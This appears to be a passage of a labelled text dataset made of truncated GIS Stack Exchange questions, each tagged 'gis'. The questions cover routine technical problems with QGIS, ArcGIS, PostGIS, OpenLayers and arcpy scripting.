application for academic purposes that mainly gives to the user a recommended itinerary for a previously introduced preferences (Gastronomy, Leisure,etc.). For this purpose, I use ... ",['gis'] "Title: MODE_SNAPSHOT or MODE_ONDEMAND? Issues with both, which one to focus on? Body: Our web app uses the ESRI JS API. With SNAPSHOT, our feature layers take a long time to show up on the map, especially after using setDefinitionExpression to restrict the feature layer to a date ... ",['gis'] "Title: ArcMap Arcpy scripts: How to handle user password input? Body: I'm currently trying to write a script that has a username & password input which then returns some data if the user has appropriate access. The script works just fine when I hardcode my own ... ",['gis'] "Title: Looking for open source Spatial file server that ArcGIS 10.1 will connect and work with? Body: I'm looking for an open source spatial file server to house and serve my GIS data. I'm currently using my Ubuntu Server as a ssh file server and have to download the data to the local computer, ... ",['gis'] "Title: How to batch-process georeferencing of rasters (prelude to animation)? Body: I have many (10k) raster files, all with identical size and pixel dimensions, which need to be georeferenced. I would like to georeference one of them manually, using either QGIS or GRASS, and then ... ",['gis'] "Title: How to convert a shapefile to WKT? Body: I'm trying to convert a shapefile into the simple Well Known Text (WKT) format in the example below (from http://en.wikipedia.org/wiki/Well-known_text). MULTIPOLYGON (((40 40, 20 45, 45 30, 40 40)), ... ",['gis'] "Title: Why don't libgrass.so.1.8.0 and libqgissqlantconnection.so.1.8.0 load? Body: I have compiled Qgis 1.8 at Ubuntu 12.10, but some phyton plugins does'nt work, like sextante. Trying to solve this problem, some files don't have been load. They are: libgrass.so.1.8.0 and ... ",['gis'] "Title: How to add geocoder and routing options in geoexplorer in Opengeo suite 3.0.1? Body: I am using Opengeo suite 3.0.1 and was wanted to know if there is a way to add a geocoding and routing options using osm. Basically, I am trying to add text boxes (one for start point and one for end ... ",['gis'] "Title: How to measure the area of polygons within a fishnet Body: I am currently trying to measure the area of polygons within each square of a fishnet. The aim of what I am doing is to work out the proportion of different agri-environment schemes by 1km squares. ... ",['gis'] "Title: “topo to raster” tool Body: is there any analogue of ""topo to raster"" tool (ArcGIS) in QGIS? I need to creates surfaces from shp for some cases from points and for some from lines and this instrument is very convenient. ",['gis'] "Title: problem about reprojection Body: I am a new GIS user, I have some problem can not be solved by myself. I get a shape file generated from an Excel file. at first, my projection is WGS_1984_UTM_Zone_48N some data are inside my country ... ",['gis'] "Title: ArcScene 10.1 Orthophoto Visualization Issue Body: I am attempting to visualize an orthophoto in ArcScene 10.1 at the same resolution it is at in ArcDesktop 10.1. I have set the ""Quality enhancement for raster images"" to it's highest extent. But, the ... ",['gis'] "Title: How to add image base tool control to a drop-down list in ArcGIS 9.3.1 Body: I have to retrograde an ESRI add-in application from ArcGIS 10.1 to ArcGIS 9.3.1. My challenge is how in the drop down list can I add base tool control( will be shown as icons inside the drop down ... ",['gis'] "Title: How to access the USGS Small Scale Shaded Relief from a client application? Body: I am writing a Java client application that needs to make use of USGS Small Scale Shaded Relief images served as tiles. The supported interfaces are REST SOAP WMS as described at the bottom of that ... ",['gis'] "Title: Where to find Data with site that have hazardous, toxic or radioactive substances? Body: Does anybody know where to find data that lists the location of sites that have hazardous, toxic or radioactive substances? I'm working on a HUD project and need to be able to find out if sites for ... ",['gis'] "Title: Which BC Albers should I use and is there any difference? Body: I was about to calculate the area of some polygons and before I did I did some research. I found that the area of the polygon will be represented in the units of the projection used. So I did some ... ",['gis'] "Title: Why Stacking rasters return all values as NAs? Body: I have several rasters that I want to do some calculations ,basically calculating the moving average. dir2 <- list.files(""D:\\2010+2011"", ""*.bin"", full.names = TRUE) ... ",['gis'] "Title: How to save raster results of IExtractionOp? Body: I'm using IExtractionOp to clip a raster by polygon: IExtractionOp operation = (IExtractionOp)(new RasterExtractionOp()); IRasterBandCollection rasterBandCollection = ... ",['gis'] "Title: Convert large amount of County names to FIPS in excel file? Body: Is their a way (other than manual) to convert a large data set with county names to their respective FIPS code? ",['gis'] "Title: geography_columns and geometry_columns purpose Body: Can anyone tell me what the purpose of the the geography_columns view and the geometry_columns table are used for in a PostGIS database? My geography_columns view is empty so I can't see what the ... ",['gis'] "Title: D3, Polymaps and Lines Body: I'm quite new to d3 and Polymaps and I have a question to ask.. I am trying to connect two points using a line, using Polymaps and d3, my starting point is from this code that Mike provided ... ",['gis'] "Title: Raster export for regressions analysis Body: I have the following issue: I am trying to do a regression analysis between the (z) values of two rasters. What I would ideally like to have is the raster output not as grid but rather a list of ... ",['gis'] "Title: find route distance & time taken to travel between two points using leaflet Body: I am able to find route between two points using cloud mode & leaflet using this. CloudMade Routing with Leaflet: route is not displayed But I also want to find distance & time taken to travel ... ",['gis'] "Title: PostGIS: Querying a record table and explanatory table Body: Basically I have two tables one containing a collection of records and one table that contains extra info about features in the first. i.e Records Table: GID SITE SPECIES GEOM and the second table ... ",['gis'] "Title: Get the distance between 2 WGS84 GEOSGeometries Body: I currently want to check if 2 given GEOSGeometry objects of type Point are within 100m of each other. (length flexible) Looking at previous asked questions on this topic, most of the answers were ... ",['gis'] "Title: How to do spatial adjustment of Line features by edge snapping in ArcGIS? Body: I have two polyline features of same area which are prepared based on two different raster imagery. Hence the two features are not exactly matched and has some shift. How can I adjust them to overlay ... ",['gis'] "Title: How to create noise maps? (open source or scripted in ArcGIS) Body: In a previous role I helped create Noise Maps for Northern England. The predicted noise levels was done using the IMMI package (which I can recommend) and the cartographic output was done in ArcMap. ... ",['gis'] "Title: How to install the Python module shapely for QGIS use? Body: I'm using QGIS 1.8.0 on a Mac with OSX 10.6.8 (Snow Leopard). I've installed QGIS including GDAL, GSL, UNIXImageIO, Freetype, and Matplotlib all from www.kyngchaos.com. When installing the plugin ... ",['gis'] "Title: How to display a “Save As” dialog for raster files? Body: I'm writing a QGIS plugin in python. I need to show a ""Save as"" dialog window in order to allow the user to select the path of the output raster file. Do I need to create a QFileDialog and manually ... ",['gis'] "Title: finding the definition of missing srid in postgis Body: I am converting a spatial Oracle database to POSTGIS, and one of the problems I encounter is that we use SRID in Oracle that do not exist in POSTGIS. I am talking about the following SRID: 90112 : ... ",['gis'] "Title: How to bulk import ESRI projections into Postgis Body: Where can I get a file that would allow me to bulk upload all of the ESRI projections into the spatial_ref_sys table of postgis. I know that you can get insert statements on spatialreference.org; ... ",['gis'] "Title: How can I center Openlayers div on screen? Body: I have a div centered on screen (using width:75%;height:50%;margin: 0 auto;) When I init the map div with OL , it auto aligned to the left. How can I keep having the div in the center of the window? ",['gis'] "Title: Most efficient way to find if a polygon falls with in the boundary of another polygon using postgis Body: I have a polygon layer that contains some polygons inside of polygons. I need to be able to identify the polygons inside of polygons and discard the polygons inside of the polygons. What is the most ... ",['gis'] "Title: In PostGIS, how to count nearby points efficiently? Body: I have one dataset A with around 6K point geometries and another dataset B with around 600K point geometries. I am trying to come up with an efficient way to update dataset A with an integer ... ",['gis'] "Title: How to install an old QGIS Master (1ab5cdc)? Body: I need to revert my current version of the QGIS Desktop Master back to 1ab5cdc (about 5 months ago). Anyone know how I can make this happen? I'm running windows XP ",['gis'] "Title: Can you dynamically set print options using ArcGIS JS API? Body: I'd like to create an option in my web application where a user can click on a print button and a list of options appears: Page template (already available via esri.dijit.print) Map Title Notes or ... ",['gis'] "Title: How can I use jp2 aerials photos in QGIS? Body: I have previously been able to add raster data in the jp2 format to QGIS. I am able to do so on 1.8 installed on my laptop. Unfortunately when I attempt to do this on my desktop, it claims that the ... ",['gis'] "Title: How to create polygon with DBGeography Class in Csharp Body: I want to create a polygon with csharp 4.5 via DBGeometry class. I found example on csharp to create a point via System.Data.Spatial namespace. (Requires Reference System.Data.Entity) This code is ... ",['gis'] "Title: Split polygons and extract points Body: I have a polygon file with 90 adjacent polygons. I also have a lat/long point file that overlaps the entire surface of the polygon file (170,000 points). My problem is that working with all of the ... ",['gis'] "Title: php_mapscript.so not present after Mapserver 6.2.0 compilation Body: I use this to compile mapserver cd /opt/ wget http://download.osgeo.org/mapserver/mapserver-6.2.0.tar.gz tar xvf mapserver-6.2.0.tar.gz cd mapserver-6.2.0 ./configure ... ",['gis'] "Title: Why isn't map service displaying in ArcCatalog or rest services? Body: Update: I have an issue where my map services, which pull ortho-imagery from a cache, intermittently do not display in my services directory, ArcCatalog or my web portal. Currently I go into ... ",['gis'] "Title: How to merge many shapefiles in different folders? Body: Directory structure is basically as such: county\City\prep\POI\Completed\C1, ...C2, ...etc\ I'm trying to write a script to go through the *\Completed*\POIS.shp and merge them all together, at a ... ",['gis'] "Title: Has ESRI made any definitive announcements about 10.1 SP2? [closed] Body: My organization is awaiting SP2 before we can move our primary GIS team from 9.3.1 to 10.1. I have been testing 10.1 and have found a particularly bad bug that we've been told will be addressed in ... ",['gis'] "Title: Syntax in Qgis ""Rule properties? Body: I struggle with Qgis and some drawings of water pipes for a water company. According to the program it is possible to place different signatures for different components (stopcocks, T-pieces, etc.) ... ",['gis'] "Title: need help for script checking topology using ogr in python Body: My main goal is to create a new feature indicating if the line features intersect each other as well as if they are not connected to a feature. My problem is how to identify the intersecting and not ... ",['gis'] "Title: Projection WGS 84 is slightly displaced referring to a hillshade in QGIS Body: I have a hillshade and a vector layer. The vector layer is slightly displaced referring the hillshade. About lat=100m and long=175m The CRS of the project is EPSG:3397 - PD/83 / Gauss-Kruger zone 4. ... ",['gis'] "Title: Disable leaflet interaction temporary Body: How can I temporary disable zoming/draging the Mapview in Leaflet.js Tried so many ways but without any luck. It's important to make it temporary and I also need the option to enable again. ",['gis'] "Title: Proxy issues using WFS from Cadcorp GeognoSIS Body: I have web and WMS/WFS servers hosted on the same machine, although on different ports. I'm currently using OpenLayers to consume the WMS feeds which works well, but now I need to allow the user to ... ",['gis'] "Title: QGIS 1.8.0 Mac can't create ring Body: Can anyone spot what is wrong here? I've selected single feature, the existing rings are obvious, it's not intersecting anything (even a feature in another layer... ",['gis'] "Title: Spatial query in ArcGIS Javascript Api 3.1 Body: I have scenario in which I have to select features drawing a polygon and and get the attribute values in to a tables or lists.The features on the map consist of polygon, line,point at the same time so ... ",['gis'] "Title: Splitting a TAB file by attribute? Body: I have TAB file with LOADS of points. Each point as a unique ID and group assigned to it (ranging from 1-154). I'm wondering if there is an easy way to split this up into a TAB file for each group, ... ",['gis'] "Title: Load information about a feature Body: I must mention first of all that I am very new to this area... I am developing a GIS application. I created a simple map using geoserver with openlayers, it is all working through apache tomcat - and ... ",['gis'] "Title: How to obtain map service url from within Server Object Extension (.NET) Body: I'm having trouble figuring out how to obtain the full url to the map service a Server Object Extension is running on top of. I bascially want: IMapServer4 mapServer = ... ",['gis'] "Title: Topology problems with QGIS/GRASS Body: *edited file links below I'm working on several NGO projects at the moment, all of which are reliant on being able to use a district level map with some 490+ features, and I am running into some ... ",['gis'] "Title: Importing arcgis.rand error from python shell Body: Not sure what's going on here with this module. Maybe a pathing issue? If I import the module from the python window in ArcMap it works. If I import it in a script, and use that script in a ... ",['gis'] "Title: Make a “Shaded Area Polygon” from HILLSHADE raster in ArcInfo 9.3 Body: How am I suppose to extract the values ( Value<=100 ) from this HILLSHADE raster, and then make the extracted values as a VECTOR POLYGON (shapefile) ---I'm using ArcGIS 9.3 (ArcInfo with all ... ",['gis'] "Title: Best method to convert CSV file of lat/lon and depth data to bathymetry polygon? Body: I'm trying to create bathymetry polygons based on lat/long and depth data. I have tried several methods and the resulting polygons are clunky. Make XY Event Layer-->Copy Features--> Project--> ... ",['gis'] "Title: Is it possible to perform a definition query against a Polyline shape field? Body: I have joined two polyline shapefiles together that represent two months worth of data. I'm now trying to find any changes to the shape of the records between the two months (added vertices, deleted ... ",['gis'] "Title: QGIS 1.8.0 on Mac - how to cut/paste/delete? Body: I have a line vector layer selected, editing is on, I select one vector (a dozen points) with the node select tool so the vertices are red squares. the cut icon is greyed out, command/X does ... ",['gis'] "Title: Help choosing most suitable gis for archaeology Body: I will start on project in archaeology where I'll have to start using GIS. I only tried using ArcGIS a while ago but for the rest i have no experience. What platform would you suggest I start on? ... ",['gis'] "Title: Export selected columns (to excel or dbf) in ArcGIS Desktop 10.1 Body: It might be the very basic question.. I have lots of column in shape file and I need few columns. Therefore, I am trying to select using control and trying to export but it exports all the columns ... ",['gis'] "Title: How to remove vehicles from an aerial photograph Body: I have an aerial photograph of an area. The image includes visible traffic signs and vehicles. How can I remove the vehicles from the image? Is it possible to do so in software like Erdas or Envi ... ",['gis'] "Title: How to configure GeoServer for web hosting on window xp? Body: I want to access my data (shp, img, kml, tiff file) through IE, Google chrome or Mozilla, via local hosting (then through LAN). How to configure the GeoServer, so that the client (IE, chrome) can ... ",['gis'] "Title: Setting geometry types importing to PostGIS with OGR Body: I'm using ogr2ogr to import data into a PostGIS database. Each dataset I need to import has (theoretically) the same exact data structure, but it appears that they are not the same geometry types. ... ",['gis'] "Title: How to avoid field map change when altering file locations in a model (e.g. using feature class to feature class tool)? Body: I have a backed up file GDB which I have to use because the current one had some broken models in it. I got this backup delivered on my local D:\ drive and have to copy models from this GDB to a ... ",['gis'] "Title: Should I Reproject Data Which Has Been Captured Incorrectly? Body: I'm working on a project for a client which is migrating data from an Oracle database to an ESRI Geodatabase. When data for this project was initially captured over 15 years ago, the coordinate ... ",['gis'] "Title: How to split zAware polyline by points programmatically with C#? Body: I'm trying to split a polyline by the boundaries of a polygon using IPolyCurve2.SplitAtPoints using C#. The polyline I'm trying to split is zAware and holds elevation values at a regular interval. ... ",['gis'] "Title: Arcgis Server - Highlight Identified Features Body: I am identifying features from an ArcGISDynamicMapServiceLayer All the sublayers can be toggle on/off and when identifying, only the visible layers are queried/returned. Below are the initIdentify ... ",['gis'] "Title: Delete first two letters from a string field Body: I'm looking for a field calculator python statement to delete only the first two letters of string entries. For Ex: !Name!.strip([0:2]) I know this syntax is incorrect. Thanks a lot ",['gis'] "Title: How to make a REST request to a WFS-G service? Body: I'm trying to execute a REST-based query to a WFS-G Gazeteer service (as described at: http://frameworkwfs.usgs.gov/wfsg/) to query for a location name, but haven't been successul. Can anyone assist ... ",['gis'] "Title: Is machine learning used much in GIS? Body: I'm new to GIS. Is machine learning used much in this field, and where? I'm investigating a job opportunity with a mapping company working on traffic awareness. My background is in supervised machine ... ",['gis'] "Title: Arcgis shape file and EPSG code Body: Why a shape file with CRS WGS_1984_UTM_Zone_22N en Arcgis has a differrent prj file than the EPSG:32622:WGS 84 / UTM zone 22N WKT ? Can I replace Arcgis .prj file with EPSG:32622 WKT ... ",['gis'] "Title: Using the ArcGIS Runtime SDK for C# is there a method to Hit Test for a polygon on the graphics layer? Body: I am very new to using ArcGIS runtime SDK for C#. I have loaded a polygon from a shapefile. I wish to query if a lat/long point is inside or outside the polygon? How can I do this? Thanks in ... ",['gis'] "Title: County level import still not working [duplicate] Body: I have a geocoded county outline set for VA. Imported with no problems. I have geocoded site locations for VA. Imported with no problems. Now I have 920 Clovis spear points that were recorded to the ... ",['gis'] "Title: How to analyze differences between two shape files and put results into a new shape? Body: I have two polygon shape files of the same region from two different years (1985 and 1997) and I need to analyse the differences between the two shapes resulting in a third polygon shape file ... ",['gis'] "Title: Is there a way to increase the search radius of nearest neighbors for the Nibble tool? Body: I am working with a raster map vegetation types. I have about 20 types with unique raster code values that can be sorted into three classes: 1 - vegetation types I want to expand using the nibble ... ",['gis'] "Title: Using Sort_Management for multiple tables Body: I like to convert tables (100+) living in access database to a geodatabase tables, sorting them and deleting unnecessary fields in each table at the same time. I figured I use the Sort_management ... ",['gis'] "Title: How to uninstall standalone QGIS & reinstall in OSgeo4w on Win7? Body: I need to apply a patch to QGis but installed as standalone instead of OSGeo4w: foolish. I'd like to uninstall then reinstall via OSGeo4w so as to have linux-like updating support, but before I do ... ",['gis'] "Title: Split vector layer by field name Body: I have a vector layer of 108374 lines I want to split the vector layer into field names of the layer, which is 17. Now, I want to create a new vector layer containing one of the field names e.g. ... ",['gis'] "Title: draw lines with an angle inside a rectangle in python Body: I am trying to make a plugin for Qgis with python. I have the four corner coordinates for a rectangle. I want to give the user the inputs, line space and angle (0 -180 degrees). With these inputs, I ... ",['gis'] "Title: Can we compare a Service in Arc GIS server with normal webservice Body: In Arc GIS server there are many types of services are available (like feature service, Map Service, Geo-processing service etc.,). My question is in general web service whether it is ASP.NET web ... ",['gis'] "Title: Couldn't load SIP module - python disabled Body: Recently my QGIS started refusing to load SIP module, from day to day without any significant changes in the system (I'm on Windows7 x64). Message thrown at startup: Nie można wczytać modułu SIP. ... ",['gis'] "Title: ArcGIS 10.1 - c# custom geoprocessing function tool - how to populate a polyline output parameter? Body: I'm at 10.1SP1 with VS2010. In my tool's ParameterInfo property I create an output GPParameter object of IGPParameterEdit.DataType GPLineTypeClass. Then in the Execute() method I do work that ... ",['gis'] "Title: How to populate polygon extents to an attribute table in QGIS Body: Is there a way to calculate the XMIN, YMIN, XMAX and YMAX of a polygon and write it to a field in an attribute table? The Geometry functions available in the Field Calculator are for points. ... ",['gis'] "Title: How to insert vertex in polyline layer where we have a point in a point layer Body: I have a polyline layer and a point layer. Some of the points are on the polylines, but the polylines do not have vertex in these points. How can i insert vertex there ? ",['gis'] "Title: OpenLayers SLD duplication problem Body: Hey guys i am creating a web map and I am running into a little problem. I am serving two WMS layers from GeoServer to my OpenLayers script. For styling I am using SLD in GeoServer. The SLD script ... ",['gis'] "Title: problem with “Con” conditional expression Body: I created a python script where I use Con (Spatial Analyst). Till now I passed the where clause value as value>1000 and it worked fine for me. But recently I found some raster on which Con ... ",['gis'] "Title: Adding parameters to a category in a script tool Body: There is plenty of documentation on how to add parameters to a category in a python toolbox, (See the bottom of ... ",['gis'] "Title: How to cut a SHP based on another SHP using R Body: I have a Shapefile of points with certain information. I have another Shapefile with polygons corresponding to the states of the country I am working with (in this case Mexico). Since I only want to ... ",['gis'] "Title: How can I import AutoCAD 3D solids into ArcGIS? Body: I have an AutoCAD drawing that contains contours and 3D solids. I am able to import the contours (which i don't need) but not the 3D solids (which I do need). I understand ArcGIS does not support ... ",['gis'] "Title: How to calculate the angle between two points (according to a reference point) Body: I need to calculate the angles between two points on ArcGIS. I have ArcInfo License, too. I have 5 points on a diagram. One of them is my reference point. The other four creates angles between each ... ",['gis'] "Title: WMS getMap request with POST and XML Body: It's possible to make WFS queries by POSTing query as XML. Does GeoServer support this also for WMS getMap request? If yes, I'm looking for information on XML syntax for such query. Sounds like a ... ",['gis'] "Title: How to convert DTED Level 1 into SRTM DTED Body: We have a GIS tool that handles only SRTM DTED level 1 terrain files. SRTM level 1 terrain files are limited to 60 deg lat. So I need to fill up the gap from 60 lat up to 90 deg lat. I have DTED ... ",['gis'] "Title: Finding Network overshoots under a certain distance Body: we have a large contiguous network that will have legitimate overshoots (like a dead end street), but may or may not have illegitimate overshoots. Using FME, I can't seem to manufacture a way to find ... ",['gis'] "Title: arcpy adding time to Raster Mosiac Footprint Body: I am trying to create a raster mosiac for use in animating data over time. The current workflow is: Create .gdb (arcpy.CreateFileGDB_management) Create Raster Mosaic ... ",['gis'] "Title: OpenLayers and TInyOWS WFS won't load - 'InvalidParameterValue' Body: I've got a tinyows on localhost that works fine (both through browser GetFeature and QGIS). But my OpenLayers code fails. I've checked here: Display a WFS layer with OpenLayers and here : How to add a ... ",['gis'] "Title: How to apply the four colors theorem in a polygon map in ArcGIS/ArcToolBox automatcally? Body: I need to apply the four colors theorem in a polygonal shape in a way that I do not need to choose manually each color to put in each region. I wish to knows if there is any extension, plug-in, script ... ",['gis'] "Title: Which training courses in Geodetics can you recommend? Body: Can anyone recommend any training courses in geodesy which would cover the following objectives: Case studies on coordinate issues Overview of geodetic datums, coordinate reference systems and ... ",['gis'] "Title: QGIS, Postgis: Is it possible to create a new postgis layer? Body: Situation: I have a postgis vector lay that has lots of line segments (the features). I want to create a set of new layers each of which contains a subset of the features of the original layer and ... ",['gis'] "Title: Why is this simple arcpy script so painfully slow? Body: I have a simple arcpy script to update a field in a point shapefile with info from the polygon feature that it is within. It takes 9 minutes to do 100 points in arcpy but a spatial join in arcmap is ... ",['gis'] "Title: Is there free software to open shapefiles and associated data? [duplicate] Body: I used to have ArcView3.1 on my computer for work, but my computer crashed and I switched jobs. Is there any frees software programs available that will not just open the shapefiles, but also the ... ",['gis'] "Title: best practices for exception handling in ArcGIS .NET custom geoprocessing tools Body: I'm working on a set of C# GP tools for use both in Desktop and Server 10.1. The only soup-to-nuts treatment of writing geoprocessing tools in .NET appears to be Building a custom geoprocessing ... ",['gis'] "Title: Processing arcobjects cursor is taking long time Body: I am maintaining a code on arcobjects 10.1, and there is a bug happening. I have a code that is parsing through a cursor, and generate a where clause statement to run it on a second query. So the code ... ",['gis'] "Title: How to include WMS, WMTS and WFS services using ArcGIS for Server Silverlight Builder? Body: Hi I am new to arcgis for server (silverlight builder) and I am wanting to include public WFS,WMS and or WMST services in an application I'm building but I just cant seem to do it. I have read that ... ",['gis'] "Title: Defining SQL 2008 store within GeoServer 2.3 Body: I want to define a SQL server 2008 store within Geoserver 2.3. I installed the sql Extension. After defining the different attributes, I get the following error message : Error creating data store, ... ",['gis'] "Title: How to use raw_input() in QGIS python console? Body: I'm hoping to use raw_input() inside a loop to prompt the user when s/he wants to continue running the script. However, I'm getting an error: Traceback (most recent call last): File ... ",['gis'] "Title: Create polygon of buildings from Quickbird images in QGIS Body: I have Quickbird/Ikonos/GeoEye image and want to extract all the buildings from the image as an independent layer in QGIS. How can i achieve that? ",['gis'] "Title: combine between WFS and WMS Body: we developing a project which contains a lot of data , using WMS layers for displaying the points, Also we used WMS to return points information in a popup window , however to highlight selected point ... ",['gis'] "Title: Curve from a Douglas-Peucker line Body: When generating a line using the Douglas-Peucker Algorithm the resulting object is a line with steep angles, I would like to ""smooth"" that line and making it look less ""squarish"" using curves, like ... ",['gis'] "Title: Arctoolbox and python Body: I am trying to use arctoolbox and python so that the user can enter in parameters. In my script I have the following lines _StationInterval = arcpy.GetParameterAsText(0) I just want the user to be ... ",['gis'] "Title: Field Calculator decimal places - how can I limit them? Body: I've added a new column to an attribute table and performed an operation with the field calculator to populate the new column. The result is a column with a percentage. My problem isn't major but I ... ",['gis'] "Title: OGR CreateLayer returns TypeError Body: I'm trying to create a shapefile layer based on the spatial projection of an already existing raster. (Ultimately, this will be used in gdal.Polygonize to get a shape from my raster data.) However, I ... ",['gis'] "Title: Which US zipcodes map to more than one state or more than one city? Body: I'm using a zip code listing, and I am curious to know how many (or which) zip codes map to more than one US state or US city? For instance I know that 42223 resolves to the same city which straddles ... ",['gis'] "Title: Projection for Tracking a Vehicle Body: I'm looking for the best coordinate system projection to use for cartesian calculations while a vehicle is running from its starting location to about 100 miles from that spot. The offline format ... ",['gis'] "Title: styles for QGIS Body: Could someone point me to a source of line and point styles for QGIS (*.qml) - railways and transmission lines are the first two I've run up against, but I know there will be more. ",['gis'] "Title: Why are z-values replaced with zero after in_memory use in Python? Body: My script takes separate 3D feature classes, calculates a field, appends to a target feature class, and then deletes the originals. This is a huge data processing task of over 4700 mass point feature ... ",['gis'] "Title: PostGIS Union Between Two Tables, Preserving Attributes Body: I'm trying to union US State level upper- and lower-level government boundaries in such a way that generates one PostGIS table with both the upper and lower level names for each shape. In my example ... ",['gis'] "Title: QGIS not rendering WMS layers Body: I'm a bit of newb' at GIS so be gentle with me. In Qgis I've set up a wms for the British Geological Survey: http://maps.bgs.ac.uk/ArcGIS/services/BGS_Detailed_Geology/MapServer/WMSServer? Now ... ",['gis'] "Title: Issue while running grass from subprocess Body: I have a map based web application using geodjango. I needed to display the crime hotspots within a selected polygon area. I found that v.kernel is very good for generating heatmaps/hotspots. So in my ... ",['gis'] "Title: How to alter this PostGIS ST_distance_sphere query to give the answer for all points in the table, not just one? Body: I have the following query which returns the expected result for a single point. I would like to alter this query to return the answer for every point in the table. SELECT count(case when( ... ",['gis'] "Title: how to change color of feature to mark it as recently modified with openlayers Body: I am developing a crowd sourced app using openlayers. after user clicks an feature, a popup form is displayed. After clicking the save button, the data is used in processing which takes some time so ... ",['gis'] "Title: Can not import qgis.core in python Body: I installed OSGeo4W. I have no other Python version on my computer. I can import osgeo. But when I try to import qgis.core I am getting the error: >>> import qgis.core Traceback (most ... ",['gis'] "Title: ISIS to GDAL to QGIS: Georeferencing Mars Images Body: I'm trying to use QGIS to view some images from the Mars Reconnaissance Orbiter Context Camera. I use ISIS3 to download the images and convert them to mapped .cub files, following the instructions ... ",['gis'] "Title: Using GeoXml3 to parse KML Markers loaded in Fusion Table Layer Body: I'm trying to apply the same code as this exmaple to zoom the google map to a KML Markers loaded into Fusion Table Layer. The example code works for KML Polygon loaded into Fusion Table Layer but not ... ",['gis'] "Title: How to remove polygons in shapefile based on attributes in R [duplicate] Body: I have a shapefile where some attribute data is blank. I can delete those rows attribute table using na.omit. However, the polygons remain when I map the shapefile. I'm using R to make these changes. ... ",['gis'] "Title: How can I merge a LOT of polylines automatically? Body: I have lots of MultiPolylines, three-dimensional arrays where the bottom level is an array of lat/lngs, the second level is an array of those points (a single polyline), and the top level is the group ... ",['gis'] "Title: Can OpenLayers layers in QGIS have transparency? Body: All, I often would like to set the basemap back by lowering the transparency. I would love to have this option in QGIS for OpenLayers layers, such as the stamen layers, google, etc. Is this ... ",['gis'] "Title: Building a custom, dynamic legend using ArcGis-server js and dynamicMapServiceLayer Body: I have a dynamicMapServiceLayer that I am using to build a map application. There are about 10 layers in the mapservice that I am toggling using the setVisibleLayers action. I would like to build my ... ",['gis'] "Title: About google map licensing Body: We are having a client which is looking to develop a service provider directory , which will be provided free of cost to end users nothing commercial for end users they can use it with out any ... ",['gis'] "Title: Increase the speed limit by 35 percent Body: I have a network with a speed limit attributes. I want to increase the speed limit by 35 percent in order to run an analysis for an ambulance. Forexample, if the speed limit is 60, I will increase it ... ",['gis'] "Title: ArcGIS 10 rasters/features in ArcGIS 9.3 Body: I am tempted to go back to ArcGIS 9.3 from ArcGIS 10. For what I do, 9.3 is more efficent. Now...I know I cannot open ArcGIS 10 documents (maps, scenes) and layers in 9.3 unless saved as 9.3 file, ... ",['gis'] "Title: Find out tight corners on roads Body: Problem: How can I pinpoint tight corners on a road dataset that might cause longer/larger vehicles difficulty in driving around. Assumptions: Ignore turns into junctions. Just interested in ... ",['gis'] "Title: Modify 'Codepoint with Polygons' to add new fields Body: Sorry if this is a simple question - I'm just beginning in QGIS. I'm using OS Codepoint With Polygons data set which provides shape files of each Postcode area within the UK. Within each postcode ... ",['gis'] "Title: Simplest way to make web maps with lots of shapes Body: I have some computed data about US Census blocks. I'd like to make a web map to display that data. I've searched around and found various tools, but I can't tell what is the simplest ""lazy man's ... ",['gis'] "Title: Python - OGR: Distance different than in ArcGIS Body: I want to determine the shortest distance between a point and a line. I use the following Python script to do so. If I compare the result of the script with the result of ArcMap's Near Analysis, I get ... ",['gis'] "Title: Geographic transformations and arcpy Body: I have a script that goes through all the rasters in a particular folder and then reprojects it to another coordinate system, using arcpy. My problem is that i keep on getting the following ERROR ... ",['gis'] "Title: How do I group near points with GPS positions? Body: I'm an IT person so I don't know too much about projections and so on, I hope you can help me. I have made an application for Android that collects a GPS position, so I have the latitude and the ... ",['gis'] "Title: How can I manipulate the timestamps in a GPX file? Body: I have a GPS tracked stored in a GPX file. Now I'm looking for a tool that allows me to set the start time of the track and the duration, and the tool should automatically evenly distribute the ... ",['gis'] "Title: Setting coordinate systems in gvSIG: workflow or transformation issues Body: I am learning how to use gvSIG 1.10 (Mac OS 10.6.8 Snow Leopard). My goal is to create a simple county map of Illinois using the base data shapefiles available from the Illinois Natural Resources ... ",['gis'] "Title: Setting coordinate systems in QGIS: “transform error caught” Body: I'm learning how to use QGIS (v 1.8.0 ""Lisboa"") on Mac OS 10.6.8. My goal is to create a simple county map of Illinois using the base data shapefiles available from the Illinois Natural Resources ... ",['gis'] "Title: Algorithm: move a source polyline to a reference polyline (completely or maybe partially) Body: In our system, there're the requirements that we want to move some source lines (with low precision) to reference lines (with high precision). Following pictures gives the normal use cases. The red ... ",['gis'] "Title: Storing GPS tracks with timestamps in PostGIS Body: I need to store a series of GPS points with timestamps in the database (traces of various vehicles). I am wondering which of two approaches to choose for storing them in the PostGIS table: 1.) Each ... ",['gis'] "Title: Summarize values per row using field calculator via Model Builder Body: I think my problem is easy to solve, but so far I couldn't find a solution. I have a Feature Dataset created with the Union tool in Model Builder and now try to sum up all values of one specific field ... ",['gis'] "Title: Collect Values Tool and Union in Model Builder Body: I would like to feed a list of feature classes (only one polygon per feature class, but up to 150 feature classes) into the Union tool in ModelBuilder by using a Feature Class Iterator and the Collect ... ",['gis'] "Title: Rasterize vector with gdal Body: ""I would like to calculate the Euclidian distance from a residence to a public service of interest e.g. the distance from a residence to a green space (as the crow flies) in QGIS. After browsing the ... ",['gis'] "Title: Is there any way to view maps in “perspective” with ArcGIS (ArcMap do not)? Body: I need to work with ArcGis by the amount of data that I use and the answers I need, but would like to see my maps in perspective and I can't find a way. Does anyone knows how to do it? ",['gis'] "Title: Filter by attribute to show only records with whole numbers Body: Is there a way to show points that only contain whole numbers in a column (eg. 009, 010, 011 and NOT 9,1; 9,2; 9,3...) in ArcGIS 10? ",['gis'] "Title: Learning resources for beginning differential topology for a programmer? [closed] Body: With this question I'm looking for suggestions about how and where to start learning differential topology starting from a good base of linear algebra and geometry, also consider that this know-how is ... ",['gis'] "Title: Has anyone tried implementing Project Repair for customised ArcGIS Geoprocessing Tools? Body: I'm currently testing a model with a large number of elements (about 400) which takes five input feature classes and three workspaces. When I test it against my test data locations I can open up the ... ",['gis'] "Title: How to use Memory layers in QGIS plugin to store results of Geoprocessing tools Body: I'm building a plugin to perform Multi Criteria Analysis (yes another one...). As part of my workflow intersecting vectorlayers is needed. I use QgsOverlayAnalyzer.intersection (a pity union is not ... ",['gis'] "Title: Geocoding Levels - zip code versus block face Body: I'm looking at some massive data, most of which has been geocoded to the block face (front of the building) level, while some of which has been geocoded to the zip code level (less accurate), giving ... ",['gis'] "Title: postgis union geometries in consecutive order Body: Database is postgres 9.2, 